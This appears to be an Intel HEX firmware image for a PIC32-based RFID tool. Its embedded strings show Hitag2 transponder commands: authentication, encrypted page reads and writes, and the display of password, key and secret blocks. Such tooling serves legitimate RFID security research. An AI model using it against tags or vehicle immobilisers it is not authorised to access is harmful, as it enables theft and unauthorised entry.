:10b4780000000000462d410b000000001800c48f9a
:10b48800ad27410f00000000462d410b00000000d1
:10b498001800c48f6628410f00000000462d410b9c
:10b4a800000000001800c48fb008410f0000000021
:10b4b800462d410b000000001800c48fcbce400f72
:10b4c80000000000462d410b000000001800c48f4a
:10b4d80068e2400f00000000462d410b000000000c
:10b4e8001800c48ffb43410f00000000462d410b9c
:10b4f800000000001800c48f6b42410f00000000dc
:10b50800462d410b00000000000000002110000043
:10b5180021e8c0031400bf8f1000be8f1800bd279c
:10b528000800e00300000000e8ffbd271400bfafdb
:10b538001000beaf21f0a0031800c4af1c00c5afb7
:10b548002110c0002000c2a32000c2931600432c83
:10b558008d0060100000000080180200059d023c6c
:10b568007cb54224211062000000428c0800400093
:10b5780000000000d4b5049df0b5049d6cb6049d90
:10b588006cb6049d14b7049d90b7049d90b7049db4
:10b59800b4b6049dccb6049d3cb6049d2cb7049d5e
:10b5a8009cb6049de4b6049dfcb6049d60b7049d5a
:10b5b80054b6049d44b7049d08b6049d20b6049d66
:10b5c80090b7049d84b6049d78b7049d1800c48f75
:10b5d8001c00c58f574a410f0000000001000224db
:10b5e800e62d410b000000001800c48f1c00c58f19
:10b5f8007cff400f00000000e62d410b000000001a
:10b608001800c48f1c00c58fa628410f0000000039
:10b61800e62d410b000000001800c48f1c00c58fe8
:10b62800574a410f0000000001000224e62d410b9b
:10b63800000000001800c48f1c00c58f73db400f8a
:10b6480000000000e62d410b000000001800c48f28
:10b658001c00c58f991c410f00000000e62d410b0e
:10b66800000000001800c48f1c00c58fa7fa400f07
:10b6780000000000e62d410b000000001800c48ff8
:10b688001c00c58f8e1e410f00000000e62d410be7
:10b69800000000001800c48f1c00c58fad3d410f8d
:10b6a80000000000e62d410b000000001800c48fc8
:10b6b8001c00c58f42ab400f00000000e62d410b77
:10b6c800000000001800c48f1c00c58ffead400f9d
:10b6d80000000000e62d410b000000001800c48f98
:10b6e8001c00c58f4e28410f00000000e62d410bbd
:10b6f800000000001800c48f1c00c58f7428410f7b
:10b7080000000000e62d410b000000001800c48f67
:10b718001c00c58f1309410f00000000e62d410be6
:10b72800000000001800c48f1c00c58f01cf400f17
:10b7380000000000e62d410b000000001800c48f37
:10b748001c00c58f574a410f000000000100022469
:10b75800e62d410b000000001800c48f1c00c58fa7
:10b768000944410f00000000e62d410b00000000d5
:10b778001800c48f1c00c58f7942410f00000000db
:10b78800e62d410b00000000000000002110000021
:10b7980021e8c0031400bf8f1000be8f1800bd271a
:10b7a8000800e00300000000e0fdbd271c02bfaf59
:10b7b8001802beaf21f0a0032002c4af2110a000e0
:10b7c8002402c2a31000c22721204000c62c410f2a
:10b7d800000000000f004010000000002402c29387
:10b7e8002002c48f1000c3272128600021304000a8
:10b7f8004c2d410f00000000060040100000000022
:10b808002002c48f83f7400f00000000082e410b70
:10b81800000000002110000021e8c0031c02bf8fb7
:10b828001802be8f2002bd270800e00300000000b8
:10b83800e0ffbd271c00bfaf1800beaf21f0a0037a
:10b84800214880002140a0002128c0002120e000dc
:10b858003000c38f3800c28f2000c9a32400c8a3ba
:10b868002800c5a32c00c4a31000c3a31400c2a3be
:10b87800448280a7468280a3478280a32000c29387
:10b88800488282a32400c293498282a32800c293db
:10b898004a8282a32c00c2934b8282a31000c293d7
:10b8a8004c8282a31400c2934d8282a31000c293db
:10b8b80008004010000000001000c29300a0033ce4
:10b8c800f06964243400c58f21304000214b410fba
:10b8d800000000000a000424c219410f0000000003
:10b8e800488284274482852700a0023cf0694624c8
:10b8f80093ef400f00000000040040140000000017
:10b90800211000007e2e410b000000004682839328
:10b918006c00022411006214000000004782829328
:10b928004d8282a30a000424c219410f00000000be
:10b93800488284274482852700a0023cf069462477
:10b9480093ef400f000000000400401400000000c6
:10b95800211000007e2e410b0000000046828393d8
:10b96800610002241700621400000000488280a3ce
:10b97800c0ff0224498282a34a8280a34b8280a30b
:10b988004c8280a3478282934d8282a30a000424ba
:10b99800c219410f0000000048828427448285278d
:10b9a80000a0023cf069462493ef400f000000001d
:10b9b8000400401400000000211000007e2e410bfe
:10b9c800000000004682839390000224070062145e
:10b9d8000000000047828293040040140000000029
:10b9e800010002247e2e410b0000000021100000ff
:10b9f80021e8c0031c00bf8f1800be8f2000bd27a0
:10ba08000800e00300000000c8ffbd273400bfaff6
:10ba18003000beaf2c00b0af21f0a0033800c4af97
:10ba28002000c0a32100c0a32200c0a3448280a795
:10ba3800468280a3478280a33800c48f7b4b410f86
:10ba4800000000000800422c040040100000000024
:10ba580021100000082f410b000000003800c48f9f
:10ba680047b7400f000000002300c2a33800c28f70
:10ba7800020042242120400047b7400f0000000088
:10ba88002400c2a33800c28f0400422421204000b1
:10ba980047b7400f000000002500c2a33800c28f3e
:10baa800060042242120400047b7400f0000000054
:10bab8002600c2a33800c48f7b4b410f0000000052
:10bac800211840000a000224090062140000000046
:10bad8003800c28f080042242120400047b7400f99
:10bae800000000002100c2a3f92e410b0000000055
:10baf8003800c28f080042242120400047b7400f79
:10bb0800000000002000c2a32200c0a3d82e410bd1
:10bb1800000000002200d0932200c29305004224b6
:10bb2800401002003800c38f21106200212040001d
:10bb380047b7400f000000002118400000a0023c59
:10bb48005c45422421100202000043a02200c29357
:10bb5800010042242200c2a32200c3932000c29302
:10bb68002b106200ebff4014000000003800c48f67
:10bb78007b4b410f00000000421802002200c293d4
:10bb8800060042242b10430004004010000000006f
:10bb980021100000082f410b000000003800c48f5e
:10bba8007b4b410f00000000421802002200c293a4
:10bbb8000600422409006214000000002200c2931b
:10bbc800050042243800c38f211062002120400064
:10bbd80047b7400f000000002100c2a32300c49310
:10bbe8002400c5932500c3932600c2932000c79361
:10bbf8002100c6931000a7af00a0073c5c45e724ce
:10bc08001400a7af1800a6af21306000213840000b
:10bc18000e2e410f0000000021e8c0033400bf8f42
:10bc28003000be8f2c00b08f3800bd270800e0031d
:10bc380000000000e0ffbd271c00bfaf1800beaf2a
:10bc480021f0a0031000c0a7232f410b0000000023
:10bc58001000c39700a0023cf06942242110620042
:10bc680000004290059d033c28656424212840007b
:10bc78006913410f000000001000c2970100422420
:10bc88001000c2a7448282971000c3972b1062004d
:10bc9800efff40140000000046828293059d033c9c
:10bca80028656424212840006913410f0000000022
:10bcb80047828293059d033c306564242128400017
:10bcc8006913410f00000000059d023c38654424bb
:10bcd800059d023c3c6545240413410f000000000b
:10bce80021e8c0031c00bf8f1800be8f2000bd27ad
:10bcf8000800e00300000000f0ffbd270c00beaf05
:10bd080021f0a003211080001000c2a31000c293ec
:10bd18000800432c41006010000000008018020059
:10bd2800059d023c40bd4224211062000000428c67
:10bd3800080040000000000024be049d60bd049d72
:10bd48007cbd049d98bd049db4bd049dd0bd049ddb
:10bd5800ecbd049d08be049d88bf023c2061428c56
:10bd6800c000427cff0042300000c2af8c2f410b64
:10bd78000000000088bf023c2061428c8000427ca9
:10bd8800ff0042300000c2af8c2f410b00000000c2
:10bd980088bf023c2061428c4000427cff00423058
:10bda8000000c2af8c2f410b0000000088bf023c8e
:10bdb8002061428c0000427cff0042300000c2af8c
:10bdc8008c2f410b0000000088bf023ca061428c10
:10bdd8008001427cff0042300000c2af8c2f410b33
:10bde8000000000088bf023c2060428cc003427cf7
:10bdf800ff0042300000c2af8c2f410b0000000052
:10be080088bf023ce060428cc002427cff004230a6
:10be18000000c2af8c2f410b000000002110000071
:10be28008d2f410b000000000000c28f21e8c003e5
:10be38000c00be8f1000bd270800e00300000000c2
:10be4800f8ffbd270400beaf21f0a0032110800039
:10be58000c00c5af0800c2a30800c2930800432c19
:10be6800900060100000000080180200059d023c50
:10be78008cbe4224211062000000428c0800400061
:10be880000000000acbe049d94bf049dbcbf049d8f
:10be9800e4bf049d0cc0049d34c0049d5cc0049d97
:10bea80084c0049d0c00c28fff0042300100423064
:10beb800ff00443088bf033c20616294c418827c30
:10bec800206162a40c00c28fff00423001004230a2
:10bed800ff00443088bf033c206162948410827c58
:10bee800206162a40c00c28fff0042300100423082
:10bef800ff00443088bf033c206162944408827c80
:10bf0800206162a40c00c28fff0042300100423061
:10bf1800ff00443088bf033c206162940400827ca7
:10bf2800206162a40c00c28fff0042300100423041
:10bf3800ff00443088bf033ca06162948431827c56
:10bf4800a06162a40c00c28fff00423001004230a1
:10bf5800ff00443088bf033c20606294c47b827c2d
:10bf6800206062a40c00c28fff0042300100423002
:10bf7800ff00443088bf033ce0606294c45a827c6e
:10bf8800e06062a42e30410b000000000c00c28f5c
:10bf9800ff00423001004230ff00443088bf033cbc
:10bfa80020616294c418827c206162a42e30410b07
:10bfb800000000000c00c28fff0042300100423038
:10bfc800ff00443088bf033c206162948410827c67
:10bfd800206162a42e30410b000000000c00c28fcb
:10bfe800ff00423001004230ff00443088bf033c6c
:10bff800206162944408827c206162a42e30410b47
:10c00800000000000c00c28fff00423001004230e7
:10c01800ff00443088bf033c206162940400827ca6
:10c02800206162a42e30410b000000000c00c28f7a
:10c03800ff00423001004230ff00443088bf033c1b
:10c04800a06162948431827ca06162a42e30410b8d
:10c05800000000000c00c28fff0042300100423097
:10c06800ff00443088bf033c20606294c47b827c1c
:10c07800206062a42e30410b000000000c00c28f2b
:10c08800ff00423001004230ff00443088bf033ccb
:10c09800e0606294c45a827ce06062a42e30410b56
:10c0a80000000000211000002f30410b00000000ac
:10c0b8000100022421e8c0030400be8f0800bd2748
:10c0c8000800e00300000000e0ffbd271c00bfaf30
:10c0d8001800beaf21f0a003211080002000c2a3e9
:10c0e8002000c29321204000402f410f0000000093
:10c0f8001000c2af2000c3931000c28f0100422c71
:10c10800ff0042302120600021284000922f410f7b
:10c118000000000021e8c0031c00bf8f1800be8f7c
:10c128002000bd270800e00300000000e8ffbd274d
:10c138001400bfaf1000beaf21f0a0032110800093
:10c148001800c2a31800c293212040002128000033
:10c15800922f410f0000000021e8c0031400bf8f98
:10c168001000be8f1800bd270800e0030000000083
:10c17800e8ffbd271400bfaf1000beaf21f0a00339
:10c18800211080001800c2a31800c293212040008b
:10c1980001000524922f410f0000000021e8c00390
:10c1a8001400bf8f1000be8f1800bd270800e003e1
:04c1b8000000000083
:020000040000fa
:020000041d04d9
:10c1bc004050050042550a00c04a0500427d04006b
:10c1cc0025482f01c042040000800e3c25482e015a
:10c1dc0040680700426d0d00c0620700427d0600fa
:10c1ec0025608f01c05a060025608e012628a70005
:10c1fc002428ae00ffff4f25fe07e12dcb002010b9
:10c20c0000000000ffffaf25fe07e12df400201019
:10c21c000000000023504d01ff034a254240080056
:10c22c00c07f090025400f0142480900023c0c0068
:10c23c00f401e0001b002701127000001048000000
:10c24c00ffff86311900ce0012200000004c0900bf
:10c25c00027c080025482f012b7824010600e011f0
:10c26c0023482401ffffce2521482c012b082c014b
:10c27c00fcff201000000000f401e0001b0027016f
:10c28c0012380000104800001900c70012200000ee
:10c29c00004c0900ffff0f3125482f012b7824019a
:10c2ac000600e01123482401ffffe72421482c015c
:10c2bc002b082c01fcff20100000000000740e0065
:10c2cc002170c7011900cb011238000010200000aa
:10c2dc00000008242b780701234007012b102f01a5
:10c2ec0023482f012b7824012578e2010b00e01163
:10c2fc0023482401ffffce2521400b012b780b0195
:10c30c0021482c0121482f0102002c1100000000b3
:10c31c002b782c01f7ffe0110000000006002c1513
:10c32c000000000025200b002548080000000d240b
:10c33c002a00001025380d00023c0c00f401e0002e
:10c34c001b0027011268000010480000ffff863117
:10c35c001900cd0012200000004c0900027c0800de
:10c36c0025482f012b7824010600e01123482401d5
:10c37c00ffffad2521482c012b082c01fcff2010c0
:10c38c0000000000f401e0001b002701123800003f
:10c39c00104800001900c70012200000004c0900d2
:10c3ac00ffff0f3125482f012b7824010600e011e7
:10c3bc0023482401ffffe72421482c012b082c01e2
:10c3cc00fcff201000000000006c0d002168a7018c
:10c3dc001900ab01123800001020000000000824e6
:10c3ec002b780701234007012b102f0123482f0125
:10c3fc002b7824012578e2010b00e011234824015d
:10c40c00ffffad2521400b012b780b0121482c019e
:10c41c0021482f0102002c11000000002b782c0168
:10c42c00f7ffe011000000000600c005000000004e
:10c43c002a78a0012168ad012170ce012170cf01b5
:10c44c00ffff4a25257828010200e01100000000ba
:10c45c000100ad3525480e0025400d00ffff4f258e
:10c46c00fe07e12d15002010000000000004082537
:10c47c0000040f2d21482f012b782f0121504f0143
:10c48c00c27a08000100ef3123400f01c2220800dc
:10c49c00407d090025208f0040780900027b0f00a9
:10c4ac002528af00007d0a002528af0025100400c8
:10c4bc00251805000800e003000000004400401da2
:10c4cc000000000001000e242370ca012000c12dc1
:10c4dc000700201400000000e0ffce212b200800f4
:10c4ec000d00091025402401f8ff0010000009344c
:10c4fc000900c0110000000022300e000420c8000a
:10c50c000430c9000640c8010648c9010200801069
:10c51c002540c800020008350004082500040f2d32
:10c52c0021482f01d6ff0010c25709002a780001bc
:10c53c0021400801214829011700401521482f01ed
:10c54c00257828011400e0110000000008002015d7
:10c55c0000000000030000150000000029ff00107f
:10c56c0000000a242548000100000824e0ff4a25a9
:10c57c0020702e7123ffc0110000000023504e01cb
:10c58c0022300e000630c8000440c8010448c9011e
:10c59c001cff00102548260105004d150000000069
:10c5ac0040780c002578eb012b00e0110000000016
:10c5bc00ff0701240a00a11100000000bbff40117d
:10c5cc0000000000257828012300e0150000000081
:10c5dc00f07f013c2528a100b4ff001000000424ca
:10c5ec002a78600121586b0121608c011700a0157d
:10c5fc0021608f0125788b01f5ffe0110000000010
:10c60c000800801500000000030060150000000009
:10c61c0000ff001000000d242560600100000b24b9
:10c62c00e0ffad2520708e71fafec01100000000f5
:10c63c002368ae0122300e000630cb000458cb012b
:10c64c000460cc01f3fe00102560860125788b0177
:10c65c000200e01100000000f8ff053c93ff001001
:08c66c0000000424000000009e
:020000040000fa
:020000041d04d9
:10c674000101010101000000010001005075626c1c
:10c684006963204d6f646520420000005075626c40
:10c694006963204d6f646520410000005075626c31
:10c6a4006963204d6f64652043000000486974612c
:10c6b4006732000030303131300000003031313128
:10c6c400000000000d0a25732c2048414c54000042
:10c6d4000d0a25732c203f494e56414c49443f00d6
:10c6e4000d0a25732c205345545f4343000000007a
:10c6f40031313030000000000d0a25732c205245e2
:10c7040041445f504c41494e544558545f50414751
:10c71400453a000031303030000000000d0a257326
:10c724002c2057524954455f504c41494e5445586a
:10c73400545f504147453a00252e32733a000000b9
:10c74400257300000d0a25732c20444154413a00fe
:10c75400252e38733a0000003030303030000000ad
:10c764000d0a25732c2053454c4543543a000000d0
:10c774000d0a25732c3f494e56414c49443f000055
:10c784000d0a0000313130303000000034443439b7
:10c7940034423532000000003446344534443439e0
:10c7a40034423532000000000d47617020256400da
:10c7b400205a65726f20256400000000204f6e65ca
:10c7c400202564002046432025640000202d206796
:10c7d4006f7420256400000020756964732c202583
:10c7e40064000000206175746873202564000000f3
:10c7f4002072656164732c206f7574206f66202528
:10c804006420617474656d7074732e0d0a000000e9
:10c814002532580025303258000000000101000084
:10c82400010001003030414134383534000000004b
:10c834003032414134383534000000003036414153
:10c8440034383534000000000d0a25732c2053546d
:10c854004152545f41555448000000000d0a2573ad
:10c864002c20434d445f454e435259505445440097
:10c8740030300000313100000d0a25732c20524560
:10c8840041445f504147453a000000003031000008
:10c894000d0a25732c20524541445f504147455fa2
:10c8a400494e5645525445443a0000003130000088
:10c8b4000d0a25732c2057524954455f5041474572
:10c8c4003a000000256400000d0a25732c205057ff
:10c8d400443a00000d0a25732c2050524e3a0000b1
:10c8e40025733a205345435245543a004e6f205223
:10c8f400656164202f204e6f2057726974650000b3
:10c9040052656164202f205772697465000000002d
:10c914005061676520313a204e6f20526561642072
:10c924002f204e6f2057726974652c205061676503
:10c9340020323a2052656164204f6e6c7900000009
:10c9440052656164204f6e6c790000004372797007
:10c95400746f000050617373776f7264000000009d
:10c9640042695068617365004d616e6368657374f4
:10c9740065720000202020202050574420426c6f14
:10c98400636b202831293a20252e3873202020205b
:10c99400000000000d0a0d0a20202020204b65799c
:10c9a40020426c6f636b202832293a20252e38737d
:10c9b40020202020000000000d0a0d0a2020436fd3
:10c9c4006e66696720426c6f636b202833293a20b6
:10c9d400252e38730d0a0d0a0000000020202020a7
:10c9e40020202020506167652031202620323a2003
:10c9f4002564203d2000000025730d0a000000007e
:10ca04002020202020202020202020205061676525
:10ca140020333a202564203d2000000020202020df
:10ca240020202020506167652034202620353a20bc
:10ca34002564203d200000002020202020202020ec
:10ca4400506167652036202620373a202564203d32
:10ca540020000000202020202020202020205365ba
:10ca64006375726974793a202564203d20000000c2
:10ca740020202020202020202020202020204d6f36
:10ca840064653a202564203d2000000020202020f9
:10ca9400202020204d6f64756c6174696f6e3a209c
:10caa4002564203d200000000d0a20202020205075
:10cab400574420426c6f636b202833293a20252e7b
:10cac4003673202020202020000000004e6f2048d4
:10cad40069546167322050574d2073746f726564d6
:10cae4000d0a0000436f756e74206f766572666c74
:08caf4006f770d0a000000003d
:020000040000fa
:020000041d04d9
:10cafc002140c000214880003b00e0142118a00018
:10cb0c002b10a600480040102010c27008004050a6
:10cb1c00023408002318020004284500061864009b
:10cb2c0004404600251865000448440002340800ff
:10cb3c001b006600f401c000102000001258000019
:10cb4c00ffff0c310254090002586c7100240400e0
:10cb5c0025508a002b684b011b006600f401c000b5
:10cb6c000900a05123504b01215048012b184801ba
:10cb7c000500605423504b012b204b012118480118
:10cb8c000b50640023504b01ffff23311b00460167
:10cb9c00f401c000104800001220000002208c702c
:10cbac00004c0900254823012b1824011b004601c9
:10cbbc00f401c000090060502348240121482801d9
:10cbcc002b18280105006054234824012b1824013c
:10cbdc00214028010b480301234824010610490079
:10cbec000800e003211800002b10a7004700401498
:10cbfc002050ea704800401520000b242b10e50053
:10cc0c0005004014231086002b4086008900001577
:10cc1c0021108000231086002328a7002b208200df
:10cc2c000800e0032318a4000600c01420100271b1
:10cc3c00010002241b004600f401c0001240000059
:10cc4c00201002717d004054044048002328a800a5
:10cc5c00021c0800ffff0731022409001b00a3007f
:10cc6c00f401600010500000123000000230c77058
:10cc7c0000540a00252044012b5086001b00a30001
:10cc8c00f401600009004051232086002120880017
:10cc9c002b2888000500a054232086002b508600ea
:10ccac00212888000b20aa0023208600ffff2631b4
:10ccbc001b008300f40160001048000012280000e3
:10cccc000228a770004c0900254826012b302501ad
:10ccdc001b008300f40160000900c05023482501ab
:10ccec00214828012b1828010500605423482501f0
:10ccfc002b182501214028010b480301234825014d
:10cd0c00061049000800e0032118000021108000e3
:10cd1c000800e0032118a00023586a0104384701d9
:10cd2c00061066012538470006686501024c0700ad
:10cd3c001b00a901f4012001106000001218000072
:10cd4c00ffffee3004284501061064012510450054
:10cd5c00022c0200043046011240000002786e7072
:10cd6c0000640c00256085012b288f011b00a90194
:10cd7c00f40120010a00a010042044012160870165
:10cd8c002b2887010600a014ffff68242b288f0195
:10cd9c000400a05023608f01feff682421608701ee
:10cdac0023608f01ffff42301b008901f401200139
:10cdbc0010280000121800001268000002706e703b
:10cdcc00002c05002510a2002b284e001b00890109
:10cddc00f40120010600a050004408002110470077
:10cdec002b2847004c00a010ffff6d2400440800c6
:10cdfc002540a80123104e00190006011048000020
:10ce0c002b1849003e006014124000004b004910e2
:10ce1c002318490012300000233086002b20860096
:10ce2c0023186400041063010630460125104600e7
:10ce3c00061843010800e00300000000200009244c
:10ce4c002348220106502501021c08001b00430147
:10ce5c00f40160001030000012580000ffff073191
:10ce6c0004284500064824012528250102640500f4
:10ce7c0004484400025867710034060025308601ce
:10ce8c002b20cb001b004301f401600006008050f6
:10ce9c002330cb002130c8002b20c8002400801088
:10ceac002b50cb002330cb00ffffaa301b00c3005c
:10cebc00f401600010200000122800000228a77066
:10cecc000024040025208a002b5085001b00c30081
:10cedc00f401600060ff4051232885002120880068
:10ceec002b3088005cffc054232885002b50850014
:10cefc00213088000b20ca001933410b23288500f0
:10cf0c0023300601231827012b4006012318680043
:10cf1c008933410b231843002b284e00b4ffa0503b
:10cf2c0000440800feff6d247e33410b21104700a6
:10cf3c002120c800ac33410b0b308a002b18880021
:10cf4c00f0ff605423300601123000008933410b8e
:10cf5c00211800002140c000211080003f00e01487
:10cf6c002148a0002b18a600470060102018c370a1
:10cf7c0008006050021c08002348030004286500c8
:10cf8c00064824010440660025482501041064006d
:10cf9c00021c08001b002301f4016000106000005b
:10cfac0012580000ffff0a31022402001230000068
:10cfbc0002386a7100640c00252084012b60870004
:10cfcc001b002301f40160000b0080112328870053
:10cfdc00212088002b2888000600a014ffff66255e
:10cfec002b2887000400a01023288700feff66254d
:10cffc002120880023288700ffff42301b00a3005c
:10d00c00f4016000104800001238000012200000eb
:10d01c000250ea70004c0900251022012b484a00ee
:10d02c001b00a300f401600009002051001406004d
:10d03c00211048002b40480004000015ffffe42499
:10d04c002b504a00feffe7240b20ea0000140600d8
:10d05c00251082000800e003211800002b10a70007
:10d06c00440040142040e870450000552000022484
:10d07c002b28e500c800a0142b3086000100c23814
:10d08c000800e003211800000600c01420180371ea
:10d09c00010003241b006600f401c00012400000d4
:10d0ac00201803717b006054044068002320a80002
:10d0bc00023c0800ffff0b31010003240234020084
:10d0cc001b008700f401e0001068000012600000f3
:10d0dc001248000002508b71006c0d002530a60127
:10d0ec002b68ca001b008700f401e0000900a011a6
:10d0fc002328ca002130c8002b20c800040080144b
:10d10c00ffff89252b20ca00a6008054feff89252d
:10d11c002328ca00ffff42301b00a700f401e000e7
:10d12c001050000012300000122000000258cb708a
:10d13c0000540a00251042012b504b001b00a70085
:10d14c00f401e000090040510014090021104800ce
:10d15c002b40480004000015ffffc4242b584b0043
:10d16c00feffc6240b20cb00001409000800e003ce
:10d17c0025108200211800000800e0032110000097
:10d18c0023104800043807010618460025386700ac
:10d19c0006504500021c07001b004301f40160000f
:10d1ac001048000012680000ffffeb300428050156
:10d1bc0006104400252845000274050012100000da
:10d1cc000260ab71004c090025482e012b702c011c
:10d1dc001b004301f40160000a00c0110430060179
:10d1ec00214827012b50270106004015ffffa225df
:10d1fc002b502c010400405123482c01feffa2258a
:10d20c002148270123482c01ffffa5301b002301d7
:10d21c00f401600010680000126000001250000061
:10d22c0002588b71006c0d002528a5012b68ab00f2
:10d23c001b002301f40160000b00a051001402003c
:10d24c002128a7002b18a70006006014ffff8a25d1
:10d25c002b18ab000400605000140200feff8a255e
:10d26c002128a70000140200251042012328ab003e
:10d27c0019004600103800002b18a7004400601459
:10d28c00123000003f00a710042004010800e00346
:10d29c0021180000200002242310430006484500fa
:10d2ac00023c08001b002701f401e00010300000d4
:10d2bc0012600000ffff0b310428650006104400cb
:10d2cc0025284500026c05000410640012180000ab
:10d2dc0002508b71003406002530a6012b20ca00a9
:10d2ec001b002701f401e0000b0080502330ca0022
:10d2fc002130c8002b20c80006008014ffff8325b6
:10d30c002b20ca00040080502330ca00feff832566
:10d31c002130c8002330ca00ffffac301b00c7000f
:10d32c00f401e00010200000125000001248000030
:10d33c0002284b710024040025208c002b608500f2
:10d34c001b00c700f401e0000b008051001c03001f
:10d35c00212088002b3088000600c014ffff4925cf
:10d36c002b3085000400c050001c0300feff492533
:10d37c0021208800001c0300232085003234410b3f
:10d38c00251823012b308600c0ffc01000000000c0
:10d39c00a634410bffff4224211800000800e003d3
:10d3ac00010002244734410b2130c800f0ffbd2797
:10d3bc000c00beaf21f0a003211080001000c2a30e
:10d3cc001000c29302000324180043100000000058
:10d3dc000300432806006010000000000100032435
:10d3ec000b004310000000002335410b000000002f
:10d3fc000300032414004310000000000400032465
:10d40c0018004310000000002335410b0000000001
:10d41c0088bf023ca060428c4000427cff0042303e
:10d42c000000c2af2635410b0000000088bf023c53
:10d43c00a060428c8000427cff0042300000c2aff2
:10d44c002635410b0000000088bf023ca060428cd6
:10d45c00c000427cff0042300000c2af2635410bb9
:10d46c000000000088bf023c2061428c4001427cdd
:10d47c00ff0042300000c2af2635410b0000000017
:10d48c00211000002735410b000000000000c28f66
:10d49c0021e8c0030c00be8f1000bd270800e0037c
:10d4ac0000000000f8ffbd270400beaf21f0a00370
:10d4bc00211080000c00c5af0800c2a30800c29365
:10d4cc000500432c5700601000000000801802007b
:10d4dc00059d023cf4d44224211062000000428cd1
:10d4ec00080040000000000008d5049d90d5049d64
:10d4fc00b8d5049de0d5049d08d6049d0c00c28fc0
:10d50c00ff00423001004230ff00443088bf033c32
:10d51c00a06062944408827ca06062a40c00c28f5c
:10d52c00ff00423001004230ff00443088bf033c12
:10d53c00a06062948410827ca06062a40c00c28ff4
:10d54c00ff00423001004230ff00443088bf033cf2
:10d55c00a0606294c418827ca06062a40c00c28f8c
:10d56c00ff00423001004230ff00443088bf033cd2
:10d57c00206162944429827c206162a48f35410b26
:10d58c00000000000c00c28fff004230010042304e
:10d59c00ff00443088bf033ca06062944408827c46
:10d5ac00a06062a48f35410b000000000c00c28ffc
:10d5bc00ff00423001004230ff00443088bf033c82
:10d5cc00a06062948410827ca06062a48f35410bb1
:10d5dc00000000000c00c28fff00423001004230fe
:10d5ec00ff00443088bf033ca0606294c418827c66
:10d5fc00a06062a48f35410b000000000c00c28fac
:10d60c00ff00423001004230ff00443088bf033c31
:10d61c00206162944429827c206162a48f35410b85
:10d62c0000000000211000009035410b00000000ac
:10d63c000100022421e8c0030400be8f0800bd27ae
:10d64c000800e00300000000e0ffbd271c00bfaf96
:10d65c001800beaf21f0a003211080002000c2a34f
:10d66c002000c29321204000ee34410f0000000046
:10d67c001000c2af2000c3931000c28f0100422cd7
:10d68c00ff00423021206000212840002c35410f42
:10d69c000000000021e8c0031c00bf8f1800be8fe3
:10d6ac002000bd270800e00300000000e8ffbd27b4
:10d6bc001400bfaf1000beaf21f0a00321108000fa
:10d6cc001800c2a31800c2932120400001000524b9
:10d6dc002c35410f0000000021e8c0031400bf8f5f
:10d6ec001000be8f1800bd270800e00300000000ea
:10d6fc00e8ffbd271400bfaf1000beaf21f0a003a0
:10d70c00211080001800c2a31800c29321204000f1
:10d71c00212800002c35410f0000000021e8c00337
:10d72c001400bf8f1000be8f1800bd270800e00347
:10d73c0000000000e0ffbd271c00bfaf1800beaf0b
:10d74c0021f0a003010002241000c2a3f235410b0a
:10d75c00000000001000c293059d033c0464642487
:10d76c00212840006913410f000000001000c293f3
:10d77c0021204000ee34410f000000000500401055
:10d78c0000000000059d023c14644224ea35410b64
:10d79c0000000000059d023c18644224059d033cda
:10d7ac001c646424212840000413410f0000000075
:10d7bc001000c293010042241000c2a31000c293b7
:10d7cc000500422ce3ff40140000000021e8c003d8
:10d7dc001c00bf8f1800be8f2000bd270800e0037f
:04d7ec000000000039
:020000040000fa
:020000041d04d9
:10d7f0000080013c2638e10040580500425d0b00e6
:10d80000c0520500427d040025504f01c04a04006b
:10d810000080083c255048014070070042750e000a
:10d82000c06a0700427d06002568af01c06206009d
:10d830002568a801ffff6f25fe07e12d8d00201050
:10d8400000000000ffffcf25fe07e12dbb002010e8
:10d85000000000000080013c2428a10023406e014c
:10d860002c0000110000000015000019000000004d
:10d870002000012d0700201400000000e0ff082117
:10d880002b300c0023000d102560a601f8ff0010be
:10d8900000000d341f0000110000000022200800cd
:10d8a00004308c0004208d0006600c0106680d0118
:10d8b0001800c01025608c001600001002008c3586
:10d8c00025580e00234008002000012d07002014d9
:10d8d00000000000e0ff08212b3009000d000a10b5
:10d8e00025484601f8ff001000000a340900001125
:10d8f00000000000222008000430890004208a0073
:10d900000648090106500a010200c0102548890096
:10d91000020029352678a7001c00e0050000000061
:10d9200021482c012b782c0121504d0121504f0111
:10d9300002004d11000000002b784d013700e0116e
:10d940000000000001002f310200e0110000000083
:10d950000200293542480900c07f0a0025482f01ee
:10d9600042500a000080013c2550410101006b2516
:10d97000ff0701242900611500000000f07f013c31
:10d980002528a10037000010000004242b782c016a
:10d9900023482c012b104f0123504f012b784d01b0
:10d9a0002578e2010700e01123504d010080013c81
:10d9b0002628a1002b7809002348090023500a00db
:10d9c00023504f01080040150000000003002015ff
:10d9d000000000000d00001000000b242550200165
:10d9e00000000924e0ff6b2520404871070000116a
:10d9f000000000002358680122200800062089004a
:10da00000448090104500a012550440125784901c0
:10da10000200e01500000000000005246800601905
:10da2000000000000004292500042f2d21504f0183
:10da30002b784f0121586f01c27a09000100ef31a4
:10da400023482f01c2220900407d0a0025208f00b3
:10da500040780a00027b0f002528af00007d0b00f4
:10da60002528af0025100400251805000800e00354
:10da7000000000002a7820012148290121504a0194
:10da80002300601521504f01257849011400e01151
:10da900000000000080040150000000003002015f1
:10daa0000000000067ff001000000b24255020013b
:10dab00000000924e0ff6b252040487161ff001140
:10dac0000000000023586801222008000620890079
:10dad0000448090104500a015aff0010255044016e
:10dae000ff0701241500c111000000002140e700dc
:10daf000257806010300e01500000000d9ffe004ce
:10db00000000000025100600d8ff001025180700af
:10db1000257849012700e01500000000ff070124d7
:10db2000d0ffc115000000002678a7002100e00505
:10db300000000000f3ff0010000000002a788001c0
:10db400021608c012168ad011700c0152168af016b
:10db50002578ac01c3ffe011000000000800a0150b
:10db600000000000030080150000000039ff0010d5
:10db700000000e242568800100000c24e0ffce2563
:10db80002040a87133ff0011000000002370c8017d
:10db90002220080006208c0004600c0104680d019e
:10dba0002cff00102568a4012578ac01d5ffe011f9
:10dbb00000000000f8ff053caaff0010000004244c
:10dbc0000100082423400b012000012d0700201430
:10dbd00000000000e0ff08212b3009000d000a10b2
:10dbe00025484601f8ff001000000a340900001122
:10dbf00000000000222008000430890004208a0070
:10dc00000648090106500a010200c0102548890093
:10dc10000200293583ff001000000b2400000000e3
:020000040000fa
:020000041d04d9
:10dc2000d8ffbd272400bfaf2000beaf21f0a00366
:10dc30002800c4af00a0023cdc564224870042907a
:10dc4000f7ff42240d00432cf1006010000000009b
:10dc500080180200059d023c6cdc42242110620009
:10dc60000000428c08004000000000003cdd049de4
:10dc70003cdd049db8dd049dfcdf049dfcdf049dbc
